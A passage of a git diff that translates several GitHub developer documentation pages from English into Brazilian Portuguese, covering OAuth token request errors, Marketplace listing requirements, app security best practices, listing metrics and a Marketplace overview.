   - OAuth Apps
-shortTitle: Troubleshoot token request
+shortTitle: Solucionar problemas de solicitação do token
 ---
+
 {% note %}
 
-**Note:** These examples only show JSON responses.
+**Observação:** Esses exemplos mostram apenas respostas do JSON.
 
 {% endnote %}
 
-## Incorrect client credentials
+## Credenciais do cliente incorretas
 
-If the client\_id and or client\_secret you pass are incorrect you will
-receive this error response.
+Se o cliente\_id e o cliente\_secret que você inseriu estiverem incorretos, você receberá essa resposta de erro.
 
 ```json
 {
@@ -33,12 +33,11 @@ receive this error response.
 }
 ```
 
-To solve this error, make sure you have the correct credentials for your {% data variables.product.prodname_oauth_app %}. Double check the `client_id` and `client_secret` to make sure they are correct and being passed correctly
-to {% data variables.product.product_name %}.
+Para resolver este erro, verifique se você tem as credenciais corretas para o seu {% data variables.product.prodname_oauth_app %}. Verifique novamente o `client_id` e `client_secret` para certificar-se de que estão corretos e que são informados corretamente para {% data variables.product.product_name %}.
 
-## Redirect URI mismatch
+## Erro no redirecionamento do URI
 
-If you provide a `redirect_uri` that doesn't match what you've registered with your {% data variables.product.prodname_oauth_app %}, you'll receive this error message:
+Se você fornecer um `redirect_uri` que não coincide com o que você registrou com o seu {% data variables.product.prodname_oauth_app %}, você receberá esta mensagem de erro:
 
 ```json
 {
@@ -48,11 +47,9 @@ If you provide a `redirect_uri` that doesn't match what you've registered with y
 }
 ```
 
-To correct this error, either provide a `redirect_uri` that matches what
-you registered or leave out this parameter to use the default one
-registered with your application.
+Para corrigir este erro, forneça um `redirect_uri` que corresponda ao que você registrou ou deixe este parâmetro de fora para usar o padrão registrado com o seu aplicativo.
 
-## Bad verification code
+## Código de verificação incorreto
 
 ```json
 {
@@ -63,9 +60,7 @@ registered with your application.
 }
 ```
 
-If the verification code you pass is incorrect, expired, or doesn't
-match what you received in the first request for authorization you will
-receive this error.
+Se o código de verificação que você informou estiver incorreto, expirado, ou não corresponder ao que você recebeu na primeira solicitação de autorização, você receberá este erro.
 
 ```json
 {
@@ -75,5 +70,4 @@ receive this error.
 }
 ```
 
-To solve this error, start the [OAuth authorization process again](/apps/building-oauth-apps/authorizing-oauth-apps/)
-and get a new code.
+Para corrigir este erro, inicie o [processo de autorização do OAuth novamente](/apps/building-oauth-apps/authorizing-oauth-apps/) e obtenha um novo código.
diff --git a/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
index 4a6292a7c8..9ccfec2e5b 100644
--- a/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
+++ b/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md
@@ -1,6 +1,6 @@
 ---
-title: Requirements for listing an app
-intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.'
+title: Requisitos para listar um aplicativo
+intro: 'Os aplicativos em {% data variables.product.prodname_marketplace %} devem atender aos requisitos definidos nessa página antes que o anúncio possa ser publicado.'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace
@@ -14,67 +14,68 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Listing requirements
+shortTitle: Requisitos de anúncio
 ---
+
 <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.-->
 
-The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app.
+Os requisitos para a anunciar um aplicativo em {% data variables.product.prodname_marketplace %} variam de acordo com o fato de você desejar oferecer um aplicativo grátis ou pago.
 
-## Requirements for all {% data variables.product.prodname_marketplace %} listings
+## Requisitos para todos os anúncios de {% data variables.product.prodname_marketplace %}
 
-All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)."
+Todos os anúncios em {% data variables.product.prodname_marketplace %} devem ser para ferramentas que fornecem valor à comunidade de {% data variables.product.product_name %}. Ao enviar seu anúncio para publicação, você deverá ler e aceitar os termos do "[ Acordo de Desenvolvedor de {% data variables.product.prodname_marketplace %}](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)".
 
-### User experience requirements for all apps
+### Requisitos de experiência do usuário para todos os aplicativos
 
-All listings should meet the following requirements, regardless of whether they are for a free or paid app.
+Todos os anúncios devem atender aos requisitos a seguir, independentemente de serem para um aplicativo grátis ou pago.
 
-- Listings must not actively persuade users away from {% data variables.product.product_name %}.
-- Listings must include valid contact information for the publisher.
-- Listings must have a relevant description of the application.
-- Listings must specify a pricing plan.
-- Apps must provide value to customers and integrate with the platform in some way beyond authentication.
-- Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only.
-- Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+- Os anúncios não devem persuadir ativamente os usuários para fora de {% data variables.product.product_name %}.
+- Os anúncios devem incluir informações de contato válidas para o editor.
+- Os anúncios devem ter uma descrição relevante do aplicativo.
+- Os anúncios devem especificar um plano de preços.
+- Os aplicativos devem fornecer valor aos clientes e integrar-se à plataforma de alguma forma além da autenticação.
+- Os aplicativos devem estar disponíveis publicamente em {% data variables.product.prodname_marketplace %} e não podem estar na versão beta ou disponíveis apenas por convite.
+- Os aplicativos devem ter eventos webhook configurados para notificar o editor de qualquer alteração do plano ou cancelamentos usando a API de {% data variables.product.prodname_marketplace %} Para obter mais informações, consulte "[Usar a API de {% data variables.product.prodname_marketplace %} no seu aplicativo](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)."
+Para obter mais informações sobre como fornecer uma boa experiência com o cliente, consulte "[As práticas recomendadas com o cliente para aplicativos](/developers/github-marketplace/customer-experience-best-practices-for-apps)".
 
-### Brand and listing requirements for all apps
+### Requisitos da marca e anúncios para todos os aplicativos
 
-- Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)."
-- Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
-- Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)."
+- Os aplicativos que usam logotipos do GitHub precisam seguir as diretrizes de {% data variables.product.company_short %}. Para obter mais informações, consulte "[Logos e uso de {% data variables.product.company_short %}](https://github.com/logos)".
+- Os aplicativos devem ter um logotipo, cartões de recurso, e imagens de captura de tela que atendam às recomendações fornecidas em "[Escrevendo descrições da listagem de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)".
+- As listagens devem incluir descrições bem escritas e sem erros gramaticais. Para obter orientação par escrever a sua listagem, consulte "[Escrevendo descrições de listagem do {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)".
 
-To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)."
+Para proteger seus clientes, recomendamos que siga as práticas recomendadas em matéria de segurança. Para obter mais informações, consulte "[as práticas recomendadas de segurança para os aplicativos](/developers/github-marketplace/security-best-practices-for-apps)".
 
-## Considerations for free apps
+## Considerações para aplicativos gratuitos
 
-{% data reusables.marketplace.free-apps-encouraged %} 
+{% data reusables.marketplace.free-apps-encouraged %}
 
-## Requirements for paid apps
+## Requisitos para aplicativos pagos
 
-To publish a paid plan for your app on {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+Para publicar um plano pago para o seu aplicativo em {% data variables.product.prodname_marketplace %}, seu aplicativo deverá pertencer a uma organização que seja um publicador verificado. Para obter mais informações sobre o processo de verificação ou transferir a propriedade do seu aplicativo, consulte "[Candidatar-se à verificação de publicador para a sua organização](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)".
 
-If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)."
+Se seu aplicativo já está publicado e você é um editor verificado, você poderá publicar um novo plano pago no editor do plano de preços. Para obter mais informações, consulte "[Configurar planos de preços para sua listagem](/developers/github-marketplace/setting-pricing-plans-for-your-listing)".
 
-To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements:
+Para publicar um aplicativo pago (ou um aplicativo que ofereça um plano pago), você também deve atender aos seguintes requisitos:
 
-- {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations.
-- {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users.
-- All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below.
+- {% data variables.product.prodname_github_apps %} deve ter no mínimo 100 instalações.
+- {% data variables.product.prodname_oauth_apps %} deve ter no mínimo 200 usuários.
+- Todos os aplicativos pagos devem lidar com eventos de compra de {% data variables.product.prodname_marketplace %} para novas compras, atualizações, downgrades, cancelamentos e testes grátis. Para obter mais informações, consulte "[Requisitos de cobrança para aplicativos pagos](#billing-requirements-for-paid-apps)" abaixo.
 
-When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing.
+Quando estiver pronto para publicar o aplicativo em {% data variables.product.prodname_marketplace %}, você deverá solicitar a verificação para o anúncio do aplicativo.
 
 {% note %}
 
-**Note:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)."
+**Observação:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} Para obter informações sobre como transferir um aplicativo para uma organização, consulte: "[Enviar o seu anúncio para publicação](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)".
 
 {% endnote %}
 
-## Billing requirements for paid apps
+## Requisitos de cobrança para aplicativos pagos
 
-Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+Seu aplicativo não precisa gerenciar pagamentos, mas precisa usar eventos de compra de {% data variables.product.prodname_marketplace %} para gerenciar novas compras, atualizações, downgrades, cancelamentos e testes grátis. Para obter informações sobre como integrar esses eventos no seu aplicativo, consulte "[Usar a API de {% data variables.product.prodname_marketplace %} no seu aplicativo](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their account on {% data variables.product.product_location %}.
+Usar a API de cobrança do GitHub permite aos clientes comprar um aplicativo sem sair do GitHub e pagar o serviço com o método de pagamento já anexado à sua conta em {% data variables.product.product_location %}.
 
-- Apps must support both monthly and annual billing for paid subscriptions purchases.
-- Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+- Os aplicativos devem ser compatíveis tanto com a cobrança anual quanto mensal para as compras de suas assinaturas pagas.
+- As listagens podem oferecer qualquer combinação de planos grátis e pagos. Os planos grátis são opcionais, porém incentivados. Para obter mais informações, consulte "[Definir um plano de preços da listagem do {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)".
diff --git a/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md b/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
index edf1015910..941cd8fcdf 100644
--- a/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
+++ b/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md
@@ -1,63 +1,63 @@
 ---
-title: Security best practices for apps
-intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.'
+title: Práticas de segurança recomendadas para aplicativos
+intro: 'Diretrizes para a preparação de um aplicativo seguro para compartilhar em {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /apps/marketplace/getting-started/security-review-process
   - /marketplace/getting-started/security-review-process
   - /developers/github-marketplace/security-review-process-for-submitted-apps
   - /developers/github-marketplace/security-best-practices-for-apps
-shortTitle: Security best practice
+shortTitle: Práticas recomendadas de segurança
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Marketplace
 ---
-If you follow these best practices it will help you to provide a secure user experience.
 
-## Authorization, authentication, and access control
+Se você seguir estas práticas recomendadas, elas ajudarão você a oferecer uma experiência de usuário segura.
 
-We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details.
-- Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia.
-- Apps should provide customers with a way to delete their account, without having to email or call a support person.
-- Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately.
-- Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code.
-- Apps should not share service accounts such as email or database services to manage your SaaS service.
-- All services used in your app should have unique login and password credentials.
-- Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties.
-- Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps):
-  - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/).
-  - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+## Autorização, autenticação e controle de acesso
 
-## Data protection
+Recomendamos criar um aplicativo GitHub em vez de um aplicativo OAuth. {% data reusables.marketplace.github_apps_preferred %}. Consulte "[Diferenças entre os aplicativos GitHub e os aplicativos OAuth](/apps/differences-between-apps/)" para obter mais informações.
+- Os aplicativos devem usar o princípio do menor privilégio e devem solicitar apenas os escopos do OAuth e as permissões do aplicativo GitHub de que o aplicativo precisa para realizar suas funcionalidades pretendidas. Para obter mais informações, consulte [O princípio do menor privilégio](https://en.wikipedia.org/wiki/Principle_of_least_privilege) na Wikipédia.
+- Os aplicativos devem fornecer aos clientes uma forma de excluir sua conta, sem ter de enviar um e-mail ou ligar para uma pessoa de suporte.
+- Os aplicativos não devem compartilhar tokens entre diferentes implementações do aplicativo. Por exemplo, um aplicativo para computador deve ter um token separado de um aplicativo baseado na web. Os tokens individuais permitem que cada aplicativo solicite o acesso necessário aos recursos do GitHub separadamente.
+- Crie seu aplicativo com diferentes funções de usuário, dependendo da funcionalidade necessária para cada tipo de usuário. Por exemplo, um usuário-padrão não deve ter acesso à funcionalidade de administração, e os gerentes de cobrança podem não precisar de acesso push ao código de repositório.
+- Os aplicativos não devem compartilhar contas de serviço como, por exemplo, e-mail ou serviços de banco de dados para gerenciar seu serviço de SaaS.
+- Todos os serviços usados no seu aplicativo devem ter credenciais de login e senha exclusivas.
+- O acesso privilegiado de administrador à infraestrutura de hospedagem de produção deve ser concedido apenas a engenheiros e funcionários com funções administrativas.
+- Os aplicativos não devem usar tokens de acesso pessoal para efetuar a autenticação e devem autenticar-se como um [aplicativo OAuth](/apps/about-apps/#about-oauth-apps) ou um [aplicativo GitHub](/apps/about-apps/#about-github-apps):
+  - Os aplicativos OAuth devem efetuar a autenticação usando um [token do OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/).
+  - Os aplicativos GitHub devem efetuar a autenticação usando um [Token web do JSON (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app),, [Token do OAuth](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/) ou um [token de acesso à instalação](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
 
-- Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git.
-- Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables).
-- Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub.
-- Apps should not require the user to provide their GitHub password.
-- Apps should encrypt tokens, client IDs, and client secrets.
+## Proteção de dados
 
-## Logging and monitoring
+- Os aplicativos devem criptografar dados transferidos para internet pública usando HTTPS, com um certificado TLS válido ou SSH para o Git.
+- Os aplicativos devem armazenar com segurança o ID do cliente e as chaves secretas do cliente. Recomendamos armazená-las como [variáveis de ambiente](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables).
+- Os aplicativos devem excluir todos os dados do usuário no prazo de 30 dias após receber uma solicitação do usuário ou dentro de 30 dias após o fim da relação jurídica do usuário com o GitHub.
+- Aplicativos não devem exigir que o usuário forneça sua senha do GitHub.
+- Os aplicativos devem criptografar tokens, IDs de clientes e segredos de clientes.
 
-Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year.
-A security log should include:
+## Registro e monitoramento
 
-- Authentication and authorization events
-- Service configuration changes
-- Object reads and writes
-- All user and group permission changes
-- Elevation of role to admin
-- Consistent timestamping for each event
-- Source users, IP addresses, and/or hostnames for all logged actions
+Os aplicativos devem ter capacidade de registro e monitoramento. Os registros dos aplicativos devem ser mantidos pelo menos 30 dias e arquivados pelo menos um ano. Um log de segurança deve incluir:
 
-## Incident response workflow
+- Eventos de autenticação e autorização
+- Alterações na configuração do serviço
+- Leitura e gravação de objetos
+- Todas as alterações de permissão do usuário e de grupo
+- Elevação do papel para administrador
+- Marca de tempo consistente para cada evento
+- Usuários de origem, endereços IP e/ou nomes de host para todas as ações registradas
 
-To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident.
+## Fluxo de trabalho de resposta a incidente
 
-For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template.
+Para oferecer uma experiência segura aos usuários, você deve ter um plano de resposta de incidente claro em vigor antes de anunciar o seu aplicativo. Recomendamos ter uma equipe de resposta a incidentes de segurança e operações na sua empresa, em vez de usar um fornecedor terceiro. Você deve ter a capacidade de notificar {% data variables.product.product_name %} no prazo de 24 horas após a confirmação de um incidente.
 
-## Vulnerability management and patching workflow
+Para obter um exemplo de um fluxo de trabalho de resposta de incidente, consulte a "Política de Resposta de Violação de Dados" no [site do Instituto SANS](https://www.sans.org/information-security-policy/). Um documento breve com medidas claras a serem tomadas em caso de incidente é mais valioso do que um modelo político moroso.
 
-You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability.
+## Gerenciamento de vulnerabilidades e fluxo de trabalho de patch
 
-If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)."
+Você deveria realizar varreduras regulares de vulnerabilidades de infraestrutura de produção. Você deve classificar os resultados de verificações de vulnerabilidades e definir um período de tempo no qual você concorda em remediar a vulnerabilidade.
+
+Se você não estiver pronto para criar um programa completo de gerenciamento de vulnerabilidades, é importante começar criando um processo de patching. Para obter orientações sobre a criação de uma política de gerenciamento de correções, consulte este artigo da TechRepublic "[Estabeleça uma política de gerenciamento de patch](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)".
diff --git a/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md b/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
index 1faccc7c50..bcf8e8270d 100644
--- a/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
+++ b/translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing metrics for your listing
-intro: 'The {% data variables.product.prodname_marketplace %} Insights page displays metrics for your {% data variables.product.prodname_github_app %}. You can use the metrics to track your {% data variables.product.prodname_github_app %}''s performance and make more informed decisions about pricing, plans, free trials, and how to visualize the effects of marketing campaigns.'
+title: Visualizar métricas para a sua listagem
+intro: 'A página de Insights do {% data variables.product.prodname_marketplace %} exibe métricas para o seu {% data variables.product.prodname_github_app %}. Você pode usar as métricas para acompanhar o desempenho do seu {% data variables.product.prodname_github_app %} e tomar decisões mais informadas sobre os preços, planos, testes grátis, bem como visualizar os efeitos das campanhas de marketing.'
 redirect_from:
   - /apps/marketplace/managing-github-marketplace-listings/viewing-performance-metrics-for-a-github-marketplace-listing
   - /apps/marketplace/viewing-performance-metrics-for-a-github-marketplace-listing
@@ -12,45 +12,45 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: View listing metrics
+shortTitle: Visualizar métricas de anúncio
 ---
-You can view metrics for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed.
+
+Você pode visualizar as métricas do último dia (24 horas), semana, mês ou referente a todo o tempo em que seu {% data variables.product.prodname_github_app %} foi listada.
 
 {% note %}
 
-**Note:** Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page.
+**Observação:** Como leva tempo para agregar dados, você notará um pequeno atraso nas datas exibidas. Ao selecionar um período de tempo, você poderá ver datas exatas para as métricas no topo da página.
 
 {% endnote %}
 
-## Performance metrics
+## Métricas de desempenho
 
-The Insights page displays these performance metrics, for the selected time period:
+A página de Insights exibe essas métricas de desempenho para o período de tempo selecionado:
 
-* **Subscription value:** Total possible revenue (in US dollars) for subscriptions. This value represents the possible revenue if no plans or free trials are cancelled and all credit transactions are successful. The subscription value includes the full value for plans that begin with a free trial in the selected time period, even when there are no financial transactions in that time period. The subscription value also includes the full value of upgraded plans in the selected time period but does not include the prorated amount. To see and download individual transactions, see "[GitHub Marketplace transactions](/marketplace/github-marketplace-transactions/)."
-* **Visitors:** Number of people that have viewed a page in your GitHub Apps listing. This number includes both logged in and logged out visitors.
-* **Pageviews:** Number of views the pages in your GitHub App's listing received. A single visitor can generate more than one pageview.
+* **Valor da assinatura:** Receita total possível (em dólar) para assinaturas. Esse valor representa a receita possível, caso nenhum plano ou teste grátis seja cancelado e todas as transações de crédito forem bem sucedidas. O valor da assinatura inclui o valor integral dos planos que começam com um teste grátis no período de tempo selecionado, mesmo quando não há transações financeiras nesse período. O valor da assinatura também inclui o valor total dos planos atualizados no período de tempo selecionado, mas não inclui a quantia rateada. Para visualizar e fazer o download das transações individuais, consulte "[Transações do GitHub Marketplace](/marketplace/github-marketplace-transactions/)".
+* **Visitantes:** Número de pessoas que visualizaram uma página na sua listagem de aplicativos GitHub. Este número inclui tanto visitantes conectados quanto desconectados.
+* **Visualizações de página:** Número de páginas recebidas na listagem do seu aplicativo GitHub. Um único visitante pode gerar mais de uma exibição de página.
 
 {% note %}
 
-**Note:**  Your estimated subscription value could be much higher than the transactions processed for this period. 
+**Observação:**  Seu valor de assinatura estimado pode ser muito maior que as transações processadas para este período.
 
 {% endnote %}
 
-### Conversion performance
+### Desempenho de conversão
 
-* **Unique visitors to landing page:** Number of people who viewed your GitHub App's landing page.
-* **Unique visitors to checkout page:** Number of people who viewed one of your GitHub App's checkout pages.
-* **Checkout page to new subscriptions:** Total number of paid subscriptions, free trials, and free subscriptions. See the "Breakdown of total subscriptions" for the specific number of each type of subscription.
+* **Visitantes únicos da página de destino:** Número de pessoas que visualizaram a página inicial do seu aplicativo GitHub.
+* **Visitantes únicos para a página de checkout:** Número de pessoas que visualizaram uma das páginas de checkout do seu aplicativo GitHub.
+* **Página de checkout para novas assinaturas:** Número total de assinaturas pagas, testes grátis e assinaturas grátis. Veja o detalhamento de assinaturas totais para obter para o número específico de cada tipo de assinatura.
 
-![Marketplace insights](/assets/images/marketplace/marketplace_insights.png)
+![Perspectivas do Marketplace](/assets/images/marketplace/marketplace_insights.png)
 
-To access {% data variables.product.prodname_marketplace %} Insights:
+Para acessar as perspectivas do {% data variables.product.prodname_marketplace %}:
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.marketplace_apps %}
-4. Select the {% data variables.product.prodname_github_app %} that you'd like to view Insights for.
+4. Selecione o {% data variables.product.prodname_github_app %} para o qual você gostaria de ver perspectivas.
 {% data reusables.user-settings.edit_marketplace_listing %}
-6. Click the **Insights** tab.
-7. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Insights page.
-![Marketplace time period](/assets/images/marketplace/marketplace_insights_time_period.png)
+6. Clique na aba **Perspectivas**.
+7. Opcionalmente, selecione um período de tempo diferente, clicando no menu suspenso Período, no canto superior direito da página de Insights. ![Período de tempo do Marketplace](/assets/images/marketplace/marketplace_insights_time_period.png)
diff --git a/translations/pt-BR/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md b/translations/pt-BR/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
index 7370b55b41..c18c63e27b 100644
--- a/translations/pt-BR/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
+++ b/translations/pt-BR/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
@@ -1,6 +1,6 @@
 ---
-title: About GitHub Marketplace
-intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.'
+title: Sobre o GitHub Marketplace
+intro: 'Aprenda sobre {% data variables.product.prodname_marketplace %} em que você pode compartilhar seus aplicativos e ações publicamente com todos os usuários do {% data variables.product.product_name %}.'
 redirect_from:
   - /apps/marketplace/getting-started
   - /marketplace/getting-started
@@ -11,55 +11,56 @@ versions:
 topics:
   - Marketplace
 ---
-[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) connects you to developers who want to extend and improve their {% data variables.product.prodname_dotcom %} workflows. You can list free and paid tools for developers to use in {% data variables.product.prodname_marketplace %}. {% data variables.product.prodname_marketplace %} offers developers two types of tools: {% data variables.product.prodname_actions %} and Apps, and each tool requires different steps for adding it to {% data variables.product.prodname_marketplace %}.
+
+[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) conecta você a desenvolvedores que querem estender e melhorar seus fluxos de trabalho do {% data variables.product.prodname_dotcom %}. Você pode listar ferramentas gratuitas e pagas para os desenvolvedores usarem no {% data variables.product.prodname_marketplace %}. O {% data variables.product.prodname_marketplace %} oferece aos desenvolvedores dois tipos de ferramenta: {% data variables.product.prodname_actions %} e aplicativos, e cada ferramenta exige etapas diferentes para adicioná-lo ao {% data variables.product.prodname_marketplace %}.
 
 ## GitHub Actions
 
 {% data reusables.actions.actions-not-verified %}
 
-To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)."
+Para saber mais sobre publicação de {% data variables.product.prodname_actions %} em {% data variables.product.prodname_marketplace %}, consulte "[Publicar ações no GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)".
 
-## Apps
+## Aplicativos
 
-Anyone can share their apps with other users for free on {% data variables.product.prodname_marketplace %} but only apps owned by organizations can sell their app. 
+Qualquer pessoa pode compartilhar seus aplicativos com outros usuários gratuitamente em {% data variables.product.prodname_marketplace %}, mas somente os aplicativos pertencentes a organizações podem vender seu aplicativo.
 
-To publish paid plans for your app and display a marketplace badge, you must complete the publisher verification process. For more information, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" or "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)."
